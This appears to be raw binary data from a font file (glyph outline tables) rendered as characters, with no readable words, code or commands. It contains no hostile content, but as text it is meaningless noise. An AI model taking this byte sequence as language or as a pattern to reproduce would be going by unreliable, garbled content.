�'m59=A35#%35#35#%35#%35#35#35#35#35#35!35!#5#!5#35735#35#�����������������w�������N�O�����������Ŷ�Z���X�Y���I6�����������������Z�������B;�YB��q�:�g����!(���@���;�n'������n���;�!!!;��('�	��@����;�'n'n���;�!!;�����@�@	���;�!!!O����������;�n'�����;�'n'�n��;�!!'(��������%!�� �����%!!!,7��r�<�R �����%%3!254#!") ) ,�o���rVoV������Z��t��tV�����������%&y����%!%!5!5!5!5!5!5!5!5!5!��W7��7��7��7��7�� ��r�r�r�r�r����%!%3#3#3#3#3#��ᰰ�ܲ��ް��ܲ��ް�� ��t8��8��8��8��8���%#'+/37;?CGKOSW[_cg35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#!L��$��"�������������� ��������$��������"��������$�����������������ܮ�.��,��,��.�ܮ�.��,��,����.��,��,����.��,��,����.��,��,��.��� �����%
!33775353535��W������!����y�B��ߢ�|�� ��T���}���<�B��� ���������%
!%353555#5#5#57#��������!��y�y�B�����|�� ��r������!�����C����}�����%	 $(-159=AFKOSW\aejos7'#7'7'#7'7'7'#7'7'7'75#7'7'7'7'7'37'75'7'7'7'37'75'7'37'35'!,2|5y2~~2O~~5���~|~�2~~2�~~5���~}}��}}~��~~~�}1y��|~|��|~|��}||��|~|��}}|�z4|2�~12��~~~��~|~��~~~��5�4~�}22��~}~��4�5~4z2��31|4��2~~1O~~4��~|~��1~}1�~~4��}}~��~}}��~~~�|1��|~|��}~|��|||��|~|��|}}��4|1�~2�1��~~~��~|~��~~~��44~~1�1��}|~��44~~41�� ����7!������%!!!,��r���v������%!!��������!!!c�������r����"!�������"!!!,��r�8�V���!�%!!��n�����!�	!!!b�S���n����r��!%	
� ���!%!	�����
��� ���7	�����7!	��������������!%� ���!%	x�;rRff�� ���7����7	x��^r��SS����!7��!7	x��tr�SS�����!%!��$���!%	%!�bc������6�r���!����	%!�QQ������Z�r��!%���!%	��W�����������	���z��������!��!		#��W��������!%	
������!%	�uv����
����xx������!%	>��+��uv����
���)�)��xx�����p���)
)$7632#"'327$%&#"%632#"'��~�~��~�~�eM����M�������>�������y�����J�JJ����JJ6��``���``����qq�|�qq�#�uv@A%��91��990KSX��������Y"	�����������9%���-p���)
327$%&#"%632#"'�M����M�������>�������y�������``���``����qq�|�qqr��'	'/7?G%&'&'6767&'&'7%'676727"'64'7&"'62&47\+;.81F9K5�8.42d;E9G�,:.80G9J6�&8.;+d1O9F�L�L&_�`Jn��L�L'`�_��n�<1& j(0=Ju &,A=N:0('<1& j(0=Ju &1<>EB0(��n_I�I'[�[Jn��I�I'[�[p���)
%/36%632#"'327&#"6767&'&6p�������y����AAAA����,+-,,-+�A@@�R��qq�|�qq��%�%m��ܱ[��0$�
%@%��|�"p���)
)73276'&#"7632#"'327$%&#"%632#"'�r99:9rr9:99�XWXX��XXWX�M����M�������>�������y�������B!!BB!!�o�e33e�je33���``���``����qq�|�qqp�� $  $p�k�k����]��A�k����^����p�� $  $27$%&#p�k�k����]��<��M����A�k����^����a`���`p�� $  $"3p�k�k����]��<����M��A�k����^�����`���`p�� $  $%&#"p�k�k����]����������A�k����^����>�``���p�� $  $327$p�k�k����]��\L����LA�k����^����>���``�p�� $  $"327$!p�k�k����]��<����M����M�gA�k����^�����`���``�p�� $  $"!p�k�k����]��<�����A�k����^�����`���p��})6%63"'p�����R��q��q����)#2�y�����|�q*q����(32>54&'."!�623�IJ�f6542���53��ED��3366f�JI�426532�&<����	(
$%632#"'327$%&#"!IM����M�������>�������y����_O���``���``�|�qq���qq�H(���	(!#%&#")%632�O�y����y���M����M����qq�>~�``���	3327$3!#"'$��������@1����������>�qq������``�)	%63"��æ�����qv`���)	2#%&#���u����)q�>�`��	527$3��Mu�y��v`��>�q��	"'$33��yuM����q����`!)%632#%&#"������u����������qq�>�``�����!03327$3#"'$uM����Mu�y����y���``��>�qq��!%� ���!%� ���!%!� �!%!$��'��`)32>54&'."467>2#"&'&o+()h:;iR+**(iuh*)r535���2456f�JI�325wh))++Rh<:g*(+*)(픂235624�IJ�f6633���%!%!!�����d� ��r<���%!%!!��W��e� ��r<���%!%!��W7� ��r<���%!%!��W7�� ��r<���%!%!!!!��+c���,b��� ��r<��<�!%

4632"&!	W>>VV}V�2����
j>VV>>VV�J�� ���!%!	c����
��� ���!%!	�b��
��� ��p��( 7& $  %������;�<������������������*����X�֖����%	
!!!!!!,7���,r�Wb���<�)�) ��Ie���%	
!!!!%!!,�c��r�Wb��M�)<�R ��re���%	
!!!!%!!,b��r�+c����e�R ��re���%	
!!!!!!,7�+��r�+c���e�R ��Iep�� $  $!327$%&'p�k�k����]������]��4����M����A�k����^�����O���r���``���O�+p�� $  $67$%&#"!p�k�k����]��u��M���������14��A�k����^����^O���``���r���Ocp�� $  $!%&#"67$!p�k�k����]��\M����̦������4��A�k����^�������O�T�``�%O�Tp�� $  $327$!%&'p�k�k����]��\M����4�0����̉�A�k����^�������``�T�O��T�O���!%7!!x��tr ��R �!%	%!#��W��n�r���!%!x��tr���� ����y��!!!,L��r0R�<6����y��!�0�6�����"K%!!!,��|rhO��n�����"K!�h#n���!%!	#��W���� ��	���"*2:AI3#''%#&'52#"'&5476!!'5%!!'53'5%3'5%3#'sMM7:�=���=�-0�Y
�G.�b#�C�KS��uY��G�r=���;�>MM���^�?�?�@�7��`�d�?\�g��OOOO��y>�*<�?v��^h����"3263#!5276;'4?'4?26��u'6�"gP�39�.4!�'*�C0.x��V#m14He	�'1l1�Z+dd��?33 #&'&+"'&#"/573;2?"#'57#&'#"#5676!5�:�+#9,�p!��j[%+>
7�VC�Cc":��8�}�V
.e3B=�Se`e9*�=93@=���}����k	!=Z���4^���	5_gow���!M73&'37&'67&'67&'67'32654'&'7654&#"3672 $54767&'&47'&327632#"/#"57#"54?'&5432'&27632#"/#"57#"54?'&5432'&327632#"/#"57#"54?'&5432'&27632#"/#"57#"54?'&5432'&327632#"/#"57#"54?'&5432'&27632#"/"57#"54?'&5432'4327632#"/#"57#"54?'&5432'&27632#"/#"57#"54?'&5432'&27632#"/#"57#"54?'&5432'&27632#"/#"57#"4?'&54327'4327632#"/#"57#"54?'&54327'&27632#"/"57#"54?'&5432&'67&'67&'67'&327632#"/#"57#"54?'&5432'&27632#"/"57#"54?'&5432'&27632#"/"57#"54?'&5432'&27632#"/"57#"54?'&5432'&327632#"/#"57#"54?'&5432�O�~	)�*+'��)+(@&'$�|����|e�?/A}]\�B-7���1SLoW���j��\vLL��)(0/	((	.1(%%,*#
$
)*f$%
+)$#*+f%%,*$
$
)*��		��\o�		[	�%)#��&'%�&)#`#$
*)
$
#+,�U		�Q		0	�E%%
+)$$*+�*EC*Z*,)-)-*,�%&%&�f���Б�fU 5HhfeefhH2�pu^�QFs���棥sKQ�G�h!99!!77!�4

4	22	K44	22	22		11		�		��






�		





�

7

�
		
��%&%&�%'%&%'%&�22	
//
	g
		
�	

	�				�44
22
��!2CTev��������+&'&54?6?6/&2#"/54762#"/54762#"/54762#"/54762#"/54762#"/54762#"/547672#"/54762#"/54762#"/5476%2#"/5476%2#"/5476%2#"/5476DQ=2`{4&/<)g�>��i#@�3e E��
$

�
$

�
#
�
#

#
�
$

�
#
�
$

�
$

�U
$


#
"
$


#
 a�G<s-8PZy9}��KW2{�0R^j,:.4.=,
�, �� -
-�- -
	�.�.� , � -
 �����	!!	�W��V������9�����`��8�����	!!	7	!!�W��V�����D�u��������9�����`��8�N�����I���	7%7&5476�9	�}�V&�7��A��6$�����8'^4?�
���!2	7%7&547!&'6�I@���Y%�1��4�HF�S"���="l-2��DC[9���
&! 4$32 4$ #"&54>2��J���J�h��h�q�0���������^mNMn2Z^Z2��K�7�i������w��B�����NmmN1Z00Z}��
C"32654%"32654&%#"&54767654$ #"&767&54! ��ggJIh��IhhIJgg[����ZQoy��� ��y}WZ����[z�AD��gJIggIJggJIhhIJgU\������\Q	s������rW\����\���^����}��
A4&#"26%4&#"326! 547&'&632 $54'&'&632hIJgg�g�MgJIhhIJg#�@�����@z[����ZW}yO�OyoQZ����[s�IhhIJggJJggJIgg����]���[����[Xr������q	Q\����\�}����"32654&7#"32���ɏ��Ǿ������/�`T�_Ȑ��Ɏ��;��P��1�2�Y}��1"264&"3264#"54327&5432#"'&'3x�����yx���&�������������������ک��Z����Td�������IU���������	k�)5AMYdp{�����3'%&76'!'4%$53!76=332654&#"#"&54632'#"&54632#"&54632&'&676&'&676'.7>'.76$6&'&%6&'&6>'.>'.�	[&r�iX(tR��Su(Y�iq'L���W��쥨�驧�r�^]��]^�� !!  !! �.�-
.�*)X,)��,*)�)+�.
.�-
.�����
�OyyO�
�����vK�K9_���_9K�K�ݧ�ꧦ��]��]_���""""�s!!""W&.
-
��.
-
a),*�*))�))��
/
.
-
.�	p�%-5AMYdp|�����5#!4'&'5#2#"&546"264"264"2647>'.7>'.676&'&>&'&7>'.%7>'.676&'&676&'&53!76=3%'676%27'%&76'77&'$%'#7%6'&7�1�����8����楣��������.  .  .  . ��
-

-Y
-
-��))G))��))U*)�>-
-
~-
-
V�������FwDc���D
��C0B��
D��cDwETc==F\J
��$06�#���
J\F==cS�@�@1A�e��A1@�@H磤�椣筁���� .  .�� .  .E
-
-��-
,1))�),(9)(�))�u-
,�
-
- G�77W���6�W77�G�l^�	��e��e��	�^l(q,&�$��p��p��$�&,q(�u�!!'!���Pn���8�h���v�"!!'!##+572367676���Mo�L)��>u
e���I3?b�a��8�h���A:�F��;/I��t��x�v�!!'!		##'	���Mo���_�h�[�e�i[��i��8�h����i�[�e�f[��l[�����@36273	##'5�)U��.W����W1��@��U��S��V��d�v#,5>~3+&=43+&=4%3+&=43+&=43+&=43+&=43+&=4%33 #&'&+"'&#"/573;2?"#'57#&'#"#5676!5�\:V\9\:�\:]:&]9[\:��:�+#9,�p!��j[%+>
7�VC�Cc":��8�
#8d�#7��$6��$8;�$7i�$7��	#9�p�PL
)Z.
;6��ZV
Z3%Y63.87���p	���	/>Eqw�!674#!!6?676'&#'323276767654#3#&'&'&6%67!672!&=75$/563&43!32+'!67#>54&53#���?�
	I	:W0 96;E,Q 2:&l6x�0	b�m!
r��as"\�>%E�f��~���e2U��6g!6�V#p5C�+
C��?P9
B�;Q4X���m�M;YV /�M(=H:
,qLUD)8�Wqk��e-Pm{���NW


=$
U
	�/0c��)H?�2@[nDF8T$.L���	!'	!��T�4X���K�G���w��L��5�_�K���		!'7��W�4Z~�w��D����B&547632632%6#"'&'##"'&'&6&'&547676x�JX%&XWX:\8
[�E�z##F�M!9@!#jL�)�_�(�Mi#"?8"M�F##y�4hok@mmr*%t��e2'BB90tU%)"f�t��(���f")%Ut09CB'2���9>3#"'43727$'#"$4727%6725676&5&�oJ�7.�b<M
���D�	����,B3
qY
5*�*]d=HNN:�� �sW$,��J
�	]T.MM�m@e�d:	,'ZM��'cM&T)2_���M�����2%!"&54676737#&'&54>;7!"&546767!7!"&54>3!6763!26�P+=6�/2���D>R�+>2,+v*>�>+2
,2
=,2
=,3>,����2463!2!2#!!#!32#3#!�>*v+,1>+�R=D���20�6=+�P#,>3,=
2,=
2,

2+>��{�!C%4&#!"!&3!!"3!#";#"3&'6737#&'6737!"'67!7!&'63!67!2I0!��6��SS�
��SS:	�SS�>SS]]J�]]���]]h�\\, Bv*>K�%39KILKIOKHLKIhghghghgE?-���L�!D72654'6#"'4#"'54#"'54#"'675674767#%�$4:JILLHOKHLKIhghgighgD>-��sJ1 b6'SS�
cRR��	�SS�?SS\\K�\\�;\\���]]��!A��*>K���{�!C%254+'3254+'!254#!'!254!&#!"463!!2!!#!3#3�SS?�SS�	<RR��
�SS��6�� 1J(K>*vA!,]]�j\\���\\�K\\�IKLHKOIKLIK93%��N-?Eghghghgi���L�!C32=732=7325732'654&#'%2&'&5&'5&'�IKLHKOHLLIJ:4$��N->Dghgighgh�SS=�SS�	��SSb
�SS'6a!0J)K>*��B ��\\���]]:�]]�J]]}��O�������������������!%)-15 3656;2#'7+"/#"'+"5&54775%"'5476;25'7&56%635&56;374765'75'76=4'&+ '"'4!#"'&3$365&5&#%#754'&5&&547'5367&7+&'&'735&2?"5%75537'7'3533553535'32767&5%2?&#%55'575775775�1�:e�,$?F?Y�>�F_LA3E�L��H�3,8LYL��lEF'!0<�k#g��F


 �EeY�!!
G�p&��iq9
:^N$��%`BC�f F4��"4._?�e�e3&{E(1��-��+!$Kt8�-
	�
��$���Gs �sM ��rEF�"��2>_��p��lTErf^5.>=9|5"-l)d
,&>vv]cccWpC-+

d�8
Bpp>W]o��a�xvuPp82,�D�^8,
^B$K��+"1�R[+�e*�;�G��W
Q��U��
I&?	gp�o%w
^SA$
�29i-5n02�����D|&�IY^Pw^%�\??\OWC
,,1
/211/=;7777=321811{908hN%b\Dh,)h?�17I21!122223
21���&2%2#"'&=477654'#"'5473B�q4|�lanN	i���l�mb��9b؍MO�b��>Y�aYƮ58�l7P �P@���$0<FX + &=6&# 3 6=%&#"';27!5%67%!&'&'2+"'&=476�r���� ����cR������~��U�Y�������082.ԍ��_�W��_�V"+�}�IR8D).P9H'����������S��]�ٱ���Z��Y��HYo��X(I_ �
�����;.2lO��P%.G6R%&I8d��	8Pi>'67&&&'6.7#"'&'#"'$76'773.#'6'5676&&5476'&'%&&8DN$$
�UE�>!]�J�([Fhy*�m�.2�\=w\`|��:S?ED:@@]?���]1fix�
�p��FF�TD'��yr�,�48e�L@v����(�Nr�%&&&+F	7!��N� &".�\��S$�XE/KC\a��*0/'��rS�Cٟ�
C���
��
�(RK�p�F��|b�ph��c�'R"J$��d����1F[q���������������7&&'7'6&'$#&7'&#"'5&767#&''5$'67'6'6'5$'67'656$'67&'6'&'''5$7676'&&'$'63&7"7&'7&'7&'7&'6'6%676767&77&77&''5& '6%35&'.54>23#67!&W=
y
/_I[l*O�
�F���_VhB"�"�@.,<9tJ���4V��t1P
QJ��qMi�
v�h����pHI��!:��JJJ��
�B7m\J_/
��?o�v!"�t,`�s&*_~P1>�5='g=@24<1�
-s[,*&sd1PT>5J@=)j<42�JC��YT_Y)*)X^TY��{ #m7"J}> 	��"<H#�%	�-88)70
*7f8�Z
\+HD 	&+>H1$��
�&b5 4CUE '(�!`9!,(MTE+�}r}A"7,)f[4f AD <@0&9c?"V+�GoM�K~a�G�g�9s&0@k"?c*�G�E�K�X�G�jt9�h���N&�\6
''''
6\�%�N�$&'6&'67327&#!65#&3yyys~�w���������c��c�����ޱ��qZre����[c��7������7	c����� ,35'533#3!'#'5!5!5#53!5!5#!!-ʷ�}}	��c������k�v�G��G��@<<3ff�X��苜�������q�X����GccG��J 326&#!2+73	###	3(�tt��v�������g������n���ؐ���������B�(���������33#!!#'!'57!5#'5735׫��$�����"�����q���~�q�������+!#!573#'5!3!'573!#'73!#'5���;jj�Š�J���ss<��w�ѡ�I���jj8���/w�{�,32#' 3%+ &5%6323'#57'53�����^V����Q6�����>ѨA��B��ؒ6�ʞ����G2k>����Y�3�~�||�~���Obs32732753"'#"'4323$4'5;+"'#"'53275'&'&5?5572%#&'&5%634%476=%�@.!%,BE,#!-Q�2"
$n��L/P�uH�ED�8�<yVX}$c�!u&#�_A���]&y#{����Y6\���K00D(;,,e"�@� �p����$���B(!cc*@rJ������&�*Ec����J�kg�Fp��/ԶQR��m���T_g2#27654'73&#"#'&'#"56='"'46'4#"4735#5&547/63654'%654�BR38�xy��}�xO8x 
*@;^ThoP�?)�.Rt��}�?yw��W·FY3(p"A��K|.PQU�bKx��ưr�����ɮ-�(-;	)�1�Hv;<tM�]�%;@�!(�!M�y���/xK\̾g|H���Ji�S~J?�sc�f=�����22#'#"'#&'663327'#&'56=4'&+"6��і}Œ��٪����Yq����l�	�~�B��w%bx�׽��Ɋ���nX�1��Uh�st��Z|$�eE7����!! ! 67	654'��67��K���J�y������_ͪ���q����7��I���L�6�x�����b�h������p��]�B���(43265! >32#"&546324&"26%! ! �
Ő��b���{�����=&*<<*(;�E;R::R;�K���J�67����Ϛ��{�ɬ���)::)*<<**<<*):<'��L�67��I�����&b'b�b
�����&b'b�c�����&b'c�b
�����&b'c�c
�����&c'b�b
�����&c'b�c
�����&c'c�b
�����&c'c�c

���<BHNTZ`fl3264'&#"&7367'67675673#''5&'&'7&'677&'67'%%&'&'%6767%&'�0/CB^0/AC/�88pkTcR|�NO��OfUip88pqUfO��NN��QaQh�!$�b�)�d����L�Q�k
��K��R�t!%�c�'�d�&�//^�000�NN�|P_Pfp88poQ`Qy�NN��P\Qgp88pmQ\Py�,

M�
�N�>&�`�7"
b�K*�V�&"�g{���M�	�M��j�n
!-=4632#"&%462#"&! ! ! ! 676 &'& �Q;:RR:;QBRtSS:;Q��tu������<=��C���A�$3��2%s'��l�(�;QQvRS:;QQ;:SS�u�����t��C�<=��@�%83��38H,'��(+��j�n
!-=4632#"&%462#"&! ! ! ! 7 767 '&�Q;:RR:;QBRtSS:;Q��tu������<=��C���A�s(���'s%2����3�;QQvRS:;QQ;:SS�u�����t��C�<=��@��G+'��',H83��3��j�n
!13264&#"32654&"! ! % 767' '&'�Q;:RR:;QBQ;:SStR��tu�����s$3��2%s'��l�(�:SRvQQ;:SS:;QQ��u�����[83��38H,'��'+
���"*2:AIX3#''%#&'52#"'&5476!!'5%!!'53'5%3'5%3#'32765'&#"sNN99�=���>�-1�\
�H0�e%�F�KS��wZ��G�r=���;�=NN$�E| 1�	?�'���_�>�?�@�7��`�d�@\�h��PPPP��y?�+<�>w��_VG{?,rC�A����+ +"'5$76%&'547327676=&#~�j�t��1/Q}����]�(��+V��R��������x��bO����P>��n�S��]]	=f�P�+! &56;2'5$%75#"3��u��i���1.P��~�N�]�(�7P,V��SZ��y���cO����p�O
>����S��\^	���f��0:�1>7#'#53'&'&54767&'&=33676=3#326'&i($��l�������m��$(($��[Uu&tU[��$��&uU[���[UV$���|d�d��b�
e|���$%��
�ZSSZ�
��%_TY����YT���-�&  6& !!#!5!&y���E�ߩP�S�������C������L���"�~��|��|	���-� 6& % 767!5!3!!c�E���!����%����������z��G���#��Lޜ~|��|�������&  67 !7!l���E���!��Y�pi�����p����ؤ�=�Ug\���u���S��5264&#"#43233#!5
z��{y����m㗗���y�����{�(|��j�#53533#632#4654&#"#*jj���o����on��������}m���Z�y��H{��z�F�2�
1"32654'#"&4767!!53#5!!3!!#3!!�pOO87O:=0L�mk�L/>��Λ�2 � 1������O79NN97�0Lؙ��L1��K�Ә�J��J���-��'�<%#5#535&'&'5'73'3#'73'676=35'73'33◰��z������hNg�����eMj������z�������z��T������T�hOʍ������7Nj�Y������YӖy���?�! #!!!'!27674'&#��.d �;6��z���F�H�%Q��M_��\���ǃ�$�P�<]�� !#"#&5463 67!2#6#"V�⩁9k�]��t��s��]�k8����X���������1((1�����E�����u�." 6&'67>3"#"54767&'&#52����&�͕�LVa��{��.+�����ؔ)0��z��HUM\����&ϖ=B��l��l)����'�ҕ*l8l��B=�j�&'5 %$ 56?6'��[�W�����������������4�ZZ�/��/�[[�5�@Eo$8"3264,'5'&54632264&"&$#"&547>B���_^��^�����-�͓��hI���^�����9l�����͓��hI��������(+|T!%l�����gML�������x)+{T!&l���ϔ�gMM
�
<>'.463227#"&5454&#"&'&5476766&I�A�KK@�ߴ����GdAoc����.%&3tu�/3u��]o:�JKA�KL���ݰ��
�|XHwyo��†���<�>b�Qs-.cx68<<r.3G�m����6?2>32>32#&'567''#&&#4'3>$4&"�?w(�K>R0�D<d����.J���|	1:�?�$)����v$��/��ƀwϧ��}w��h��^�)�etW�W<��a�Ak��tA��O�]�����R����k�9#!!!5!&5432!!5#67654&"��*-��bC��D���V��U���h������h��
Uyz��zyU
E�<��4353'5#"'&''#&&#4'3>32>32gYY��Y�D,1:�?�$)����v$�E?w(�K>Ro}v��vxJv<��a�Ak��tA��O�]�ƀwϧ��������		'	7	!5!�?=l��Xl���l=�����?��l=�Xl�=l������j�'/27632#"'#576&#"4'5267>327&'"SkQm�y����z,~���zi2@:$������(.-)zW]��	����ݾg�����vx����a���X[��&�ŝ�9{� A3276327632"'&#"'&#'327627632#"'&#"'&#'�Es-
1�V865�+)|m^a�Vp5�W780��5Dt,1�Wn6�+)}m^a�W784�V870��5�(��GG��$��3�LK��GH���b�
'��HH��#��2�ML��GH���aA��!5!37!!'� ��3��(�ͦ ����'��3��������_7�6`����S@���ʬ���AR�c� $Td67&'&"!3!67>54.#"!&'.54>325467675#53533#63232>54.#"P#3J��TRJW�VJQS�OMJ4"�?���*&Eln�hPL$ 
llill
%LOh�nlD')��----�+)Q�PQ�((�QP�Q)+����/��
6�kl�j$?6FWWF6?$j�lk�6
��}++--�J�HNRh|���&'4>32"'4>32&'4>32&54>32&54>32#!5!'!567>54.#"32767>4.#"327732>4.#"327>54.#"732>54.#"M_669�4S55.�+C55C&�.66V\+55
c���$������M�##$	6��$#$�s`%#$��d0"%)h�#"#�_33@��]22-"�40446���/*33U�J"+33^�1��/���K=�0��T*
####�� �
#&$$&#��#&$$&#
�
B

####
��*�"$$"U����!'-2!35!#3!53573#'5#5!35!75!!5'57!�s\\s�s]]s	����JR��RIJ�~֛������������E������77�__��vt��t4!���v�7CQ^&54767&'&'5676767&'&54>32!	535#5##3654."!2>4.#"� <$))+N-N*)N-M,**%: �@��v���<-MTM-?���K5:664�59<5&?HPPIK*
')+K**K+)'	*KIPPH>&5<:6�u�N|l||l|��-I+N))N+@6��:55:5Q��*3V6&7!&54''&''67.76;+"'5#"=6&'76767%25#6&'
3Z�(�-�6
�	Z8.�	,�Z0H&h6�%`+EH
)�#M+=;,Zga#�iR6�Uk'�'M.+�`x�����o8:�.@s�.P �mz "x��?.#1�p#41�`&jD"ac��LHJ
�����~447|
�JlL"0����
P[32>4.#"32>54.#"!5&54767&'&546767&'&4>32'&'.#"�:e79e89f76e`[��S��&(*UM,N)(N-KV)&&��\@E����CA�pd88dpg66��9:�%N&KRS�*
'TM**MT'	*�SRK&N�۠:9�}qy��yq}�c� $Tdhy�67&'&"!3!67>54.#"!&'.54>325467675#53533#63232>54.#"!57!&'.54>3234'67632!P#3J��TRJW�VJQS�OMJ4"�?���*&Eln�hPL$ 
llill
%LOh�nlD')��----��s��=BDw@>=)�)==AwDB=���+)Q�PQ�((�QP�Q)+����/��
6�kl�j$?6FWWF6?$j�lk�6
��}++--�����!yCB{C!$$!C{BCy!�J�HLP&'4>32"'4>32&'4>32&54>32&54>32#!5!5!M_669�4S55.�+C55C&�.66V\+55
c���$�)�)�_33@��]22-"�40446���/*33U�J"+33^�1��/�NN��OOU����%)5!5!!35!#3!53573#'5#5!35!�����s\\s�s]]s	�����^^�/oo#�������������E������77�v�4@4767&'&'5676767&'&54>32!&535#5##3� <$))+N-N*)N-M,**%: �@%��v��<5&?HPPIK*
')+K**K+)'	*KIPPH>&5<:6�n�5|l||l|L��".7=6&73#!&54'''7&''676&7;2547#";65'"3=QUU+-�6
�E|]k0krd0cG&h8�E+`%s
H>�4wM-�'�,Q����o8:�$w��hPS�mh**z�1"0@�)5"@Y��R0����.&54767&'&546767&'&4>32;��&(*UM,N)(N-KV)&&��9:�%N&KRS�*
'TM**MT'	*�SRK&N�۠:9C��##"'##56'##"/547?�^��'�5@�_*S�U&/U�L	�;Yԧ���9UP(�`����X��I.�����s�222732#&547636=4'&# #4'&#"*�t
p��z&�=<��x�Q���>h�G:��V
He��k%��PF5�NP
����B��|-�������&�p�A&N��FX��
	&&5	�<���F:��^��;"�V
��g�d��G�7236;2"##'65##"'&5476;235&'&=476��e
x<JT�`�(G�eR�Ud��f�B3	VNT<�G��48u�<�B<�h	��m�M���D:�SGEnQ�hB��"<B+"'##56#+"'&575477;2732;276=4'3&'"�~V�"0�b*S�V*8Ui�Q�"_|��Q
�)w`�Sg�A
��?
��6���N�
���#eu�B?
��gI�o���5	�F��(���pZR�w�2367632#&5476(�t*#\l��~ ����T��]1�kl�SI������|-X��	&47��E����o�sU
����H�2`g26;2"##'65##"'&5476;2&'5476&+"326733276=4/#"567654'&#"35&5��hr=)�\�"I�fR�Ud��g�C3&=c�G�kv	�=�=N�r%SZ��U�6vk� �6)�S<��F9���8:�d	��m�O���E:�Rp�&�i����	�C�]&'Ax���.+�0	�nM,�W��`c��T�,H3#&'&'&6%3#&'&'&63#&'&'&6 $&54673 $64'&'v
��
�0�A
��
�1�Y
��
�1�,�������������KV�.J/�VL�9?�c�yɦt3Z|��`�Ż���N���[O�}���БBr���1�a`�bb�`a�1)EM��UU��ME)�����3#"/4?23hH�0#��!cZ����-��@����o�3#'654'&'#"54732XW��z=�\�9��`Y�'6?F��` 1TFG*�֙-��@�x�/��#"=4?2%#"=4?2���6ձ'VQ�ܖCت+YP����*�~:��ۉ8�z"C����o�"'4723!# 5472!5k����mO������dXX[�����;��Z�$�}@�Ϝ����"�3363'$6'"�-�����8�
�w��?����WX���c1�	�0�
3%#'#3%#�)N(��4��/��c�����}��4�(,377#'#'547#5773%%�.wwzy.��*���* �� ���<�<��7�C�����A<�<{8�A���M�����t�P�E#&#"'5654'5673;54'56732733273+&##&"#&'565���Q8cc 9S���:-�-:���S8!cc7Q���:-�-:�[#;17F-:���S8!cc!8S���:-F71;#[�R�S9 cc 9S����
;G7567&'&'3#6737'#&'7#&'6735'67#3335#5;0/_�^//��,/,-D--C-,.-��
zz
��~jihh~��zz��~hihj~ntt6tt�-.,-C..C.,.-n//_�R_//�~ijhh~�N�yy��~hiii~��zz�s�.���.����#.6CMhw����!2732!'5675'&=32#$'57637&/&+"+&532?4/%32#'#&&=4?#'57335'3!273+#='!"/547354;2?!&=!(�:Mb���R�.qp7����,��_q��>MT,��P$��6��6$0_�	u3d��Ud�t��_}s*$�"��R��t0XX__�/i�k��=Z�G�8��*F
�1
���.���
�
�ъ�f����)MC=��g9E��k�O
9��!(-�);&
�
�]���t!��y"
����&
2|��b�a$
U+� ��
2E35733!&54?'7'7!!"'&%#'73676'77'7'&'676ի������,&T>�=c$(w��K9.�U�����:Cʈ�%��`T?�<c&>?5̈�'8/��a�\�MOHK�$k��$�823�!a�
I��F7=c`O�]BA6���$��k#�-	k��N�A!� ��1DW!!5>7>54&#"5>32&54?'7'7!!"'&%#'73676'77'7'&'676]T��@�1$J</gYLp0�&0��
,&T>�=c$(w��K9.�U�����:Cʈ�%��`T?�<c&>?5̈�'8/�]U1�)8(3&ncQ&D-
m��MOHK�$k��$�823�!a�
I��F7=c`O�]BA6���$��k#�-	k��N�A!� ��(=Pc#"&'532654&+532654&#"5>32&54?'7'7!!"'&%#'73676'77'7'&'676Z_��3lFHe5^\VOosHGJI)`VKm1��S�j,&T>�=c$(w��K9.�U�����:Cʈ�%��`T?�<c&>?5̈�'8/�S<\el23-2['&')b
YK4J�MOHK�$k��$�823�!a�
I��F7=c`O�]BA6���$��k#�-	k��N�A!� ��
"5H333##5!5&54?'7'7!!"'&%#'73676'77'7'&'676����yy�����,&T>�=c$(w��K9.�U�����:Cʈ�%��`T?�<c&>?5̈�'8/R����v_��`��MOHK�$k��$�823�!a�
I��F7=c`O�]BA6���$��k#�-	k��N�A!� ��2EX!!632#"&'532654&#"&54?'7'7!!"'&%#'73676'77'7'&'676���1����2hFL]5R]]R'PF�
,&T>�=c$(w��K9.�U�����:Cʈ�%��`T?�<c&>?5̈�'8/�_ptcdrr@89@
�SMOHK�$k��$�823�!a�
I��F7=c`O�]BA6���$��k#�-	k��N�A!� ��	"7J]"3264&.#"632#"&54632&54?'7'7!!"'&%#'73676'77'7'&'676�7DD7:BB�=F"W\]8u��u����&M��,&T>�=c$(w��K9.�U�����:Cʈ�%��`T?�<c&>?5̈�'8/�Av@@vAf`5(sa_t������MOHK�$k��$�823�!a�
I��F7=c`O�]BA6���$��k#�-	k��N�A!� ��.A!#!&54?'7'7!!"'&%#'73676'77'7'&'676�����&,&T>�=c$(w��K9.�U�����:Cʈ�%��`T?�<c&>?5̈�'8/�2���{MOHK�$k��$�823�!a�
I��F7=c`O�]BA6���$��k#�-	k��N�A!� ��':7&54?'7'7!!"'&%#'73676'77'7'&'676�,&T>�=c$(w��K9.�U�����:Cʈ�%��`T?�<c&>?5̈�'8/�MOHK�$k��$�823�!a�
I��F7=c`O�]BA6���$��k#�-	k��N�A!��'9HR!273!567&#2$'76+&67'#'6765'533!273+#'!"/47*�:!Jc���a�#
fi*1����1Z�a(}��y�p��Pd���!���^��t/T�T}7��5	b\V���/�V��'f::p��
?��)\ �)9��s	��s%����00����%2<J\e3 + &=%62!67#&'&#36&#&#"3274/"34?3'35732?5##!'53���a�o���P�S<��&3y:
�SO���	�B2_5N
��vbe)��PK��	L�����$=j"����Aj������O�L���5_�k��,��ߋ~y}���/�M<4{1�;C�,���[��_ei'[)$��� /:BR`j # &5%6; 65%&# !27!57&/#2#&'676+%!#'#&'47'3!27##'%!#"/6���g����^�_����b��0h�\�����{�\[:5:Qm��M�M[-��w,��ld����N��VN�G�����+�Q'����X�Yt����T��p�XY����S���mEb,�#4�'FV��� ���!�	Y�1���1��_��	U���g,1���7H27&' # &5%6367&#'.7&67263'#%; 65%&# ���aW�����g����^�_���Wa���+{�����������|�<b��0h�\�����{�\����&����X�Yt����T����Ϳ����Wz����zW��a�p�XY����S���1��.2!2!!7&!"4#".54767267��������0����#U�q{|�}@!/(S���*E.َ��e�r(�Y�$��h?}�}|r<.�<CS�SSL�2�`�4767632#"'&'&!%!!�+***��������*+*�B�3���`�/374767632#"'&'&4767632#"'&'&!%!!�**+*l+***�q������*+*�*+*��3���`�/GKO4767632#"'&'&4767632#"'&'&4767632#"'&'&!%!!�**+*6+***6+***�q������*+*f*+*a*+*��3���`�/G_cg4767632#"'&'&4767632#"'&'&%4767632#"'&'&4767632#"'&'&!%!!�**+*l+***��**+*l+***�q�����*+*��*+*+*+*�*+*�